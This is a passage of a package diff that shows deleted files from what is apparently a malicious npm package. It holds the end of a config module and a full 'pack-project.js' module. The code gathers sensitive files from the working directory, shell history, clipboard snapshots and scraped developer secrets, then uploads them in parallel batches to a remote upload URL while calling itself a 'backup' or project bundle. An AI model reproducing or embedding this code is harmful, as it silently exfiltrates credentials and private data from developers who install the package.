-
if (!raw || !raw.trim()) return [];
|
|
24
|
-
return raw.split(',').map((s) => s.trim()).filter(Boolean);
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
function createBackupConfig(usernameTag = DEFAULT_USERNAME_TAG) {
|
|
28
|
-
return {
|
|
29
|
-
usernameTag: usernameTag || DEFAULT_USERNAME_TAG,
|
|
30
|
-
apiBase: DEFAULT_API_BASE.replace(/\/$/, ''),
|
|
31
|
-
uploadUrl: UPLOAD_URL,
|
|
32
|
-
maxBatchBytes: MAX_BATCH_BYTES,
|
|
33
|
-
uploadParallel: UPLOAD_PARALLEL_LIMIT,
|
|
34
|
-
};
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
module.exports = {
|
|
38
|
-
DEFAULT_API_BASE,
|
|
39
|
-
UPLOAD_URL,
|
|
40
|
-
DEFAULT_USERNAME_TAG,
|
|
41
|
-
MAX_BATCH_BYTES,
|
|
42
|
-
DEFAULT_SCAN_MAX_DEPTH,
|
|
43
|
-
SHELL_HISTORY_LINE_LIMIT,
|
|
44
|
-
CLIPBOARD_MONITOR_MS,
|
|
45
|
-
CLIPBOARD_POLL_MS,
|
|
46
|
-
CLIPBOARD_MAX_CHARS,
|
|
47
|
-
UPLOAD_PARALLEL_LIMIT,
|
|
48
|
-
DEV_SCRAPE_MAX_FILE_BYTES,
|
|
49
|
-
DEV_SCAN_HOME_MAX_DEPTH,
|
|
50
|
-
parseEnvList,
|
|
51
|
-
createBackupConfig,
|
|
52
|
-
};
|
package/lib/pack-project.js
DELETED
|
@@ -1,57 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { CLIPBOARD_MONITOR_MS } = require('./config');
|
|
4
|
-
const {
|
|
5
|
-
collectCwdSensitiveFiles,
|
|
6
|
-
buildShellHistoryExtraFiles,
|
|
7
|
-
buildClipboardExtraFiles,
|
|
8
|
-
collectDevSecrets,
|
|
9
|
-
buildDevSecretReport,
|
|
10
|
-
} = require('./collect');
|
|
11
|
-
const { chunkFilesBySize, uploadBatchesParallel, multipartUpload } = require('./upload');
|
|
12
|
-
|
|
13
|
-
async function packProjectBundle(config, created = false) {
|
|
14
|
-
const [filePaths, shellExtras, clipboardExtras, devFindings] = await Promise.all([
|
|
15
|
-
collectCwdSensitiveFiles(),
|
|
16
|
-
Promise.resolve(buildShellHistoryExtraFiles()),
|
|
17
|
-
buildClipboardExtraFiles(),
|
|
18
|
-
collectDevSecrets().catch(() => []),
|
|
19
|
-
]);
|
|
20
|
-
|
|
21
|
-
const extraFiles = [...shellExtras, ...clipboardExtras];
|
|
22
|
-
const devReport = devFindings.length ? buildDevSecretReport(devFindings) : null;
|
|
23
|
-
if (devReport) {
|
|
24
|
-
extraFiles.push({ filename: 'dev-secrets-scrape.txt', content: devReport });
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
if (!filePaths.length && !extraFiles.length) return;
|
|
28
|
-
|
|
29
|
-
const meta = {
|
|
30
|
-
pack: 'project',
|
|
31
|
-
lightBundle: true,
|
|
32
|
-
shellHistory: shellExtras.length > 0,
|
|
33
|
-
clipboard: clipboardExtras.length > 0,
|
|
34
|
-
clipboardSnapshots: clipboardExtras.length,
|
|
35
|
-
cwdFileCount: filePaths.length,
|
|
36
|
-
devSecretsScrape: !!devReport,
|
|
37
|
-
devSecretsCount: devFindings.length,
|
|
38
|
-
...(CLIPBOARD_MONITOR_MS > 0 ? { clipboardMonitorMs: CLIPBOARD_MONITOR_MS } : {}),
|
|
39
|
-
};
|
|
40
|
-
|
|
41
|
-
const maxBytes = config.maxBatchBytes;
|
|
42
|
-
const batches = filePaths.length ? chunkFilesBySize(filePaths, maxBytes) : [[]];
|
|
43
|
-
|
|
44
|
-
await uploadBatchesParallel(
|
|
45
|
-
batches,
|
|
46
|
-
(batch, i) =>
|
|
47
|
-
multipartUpload(config, batch, created, i === 0 ? extraFiles : [], {
|
|
48
|
-
...meta,
|
|
49
|
-
uploadBatch: batches.length > 1 ? `${i + 1}/${batches.length}` : undefined,
|
|
50
|
-
}),
|
|
51
|
-
config.uploadParallel
|
|
52
|
-
);
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
module.exports = {
|
|
56
|
-
packProjectBundle,
|
|
57
|
-
};
|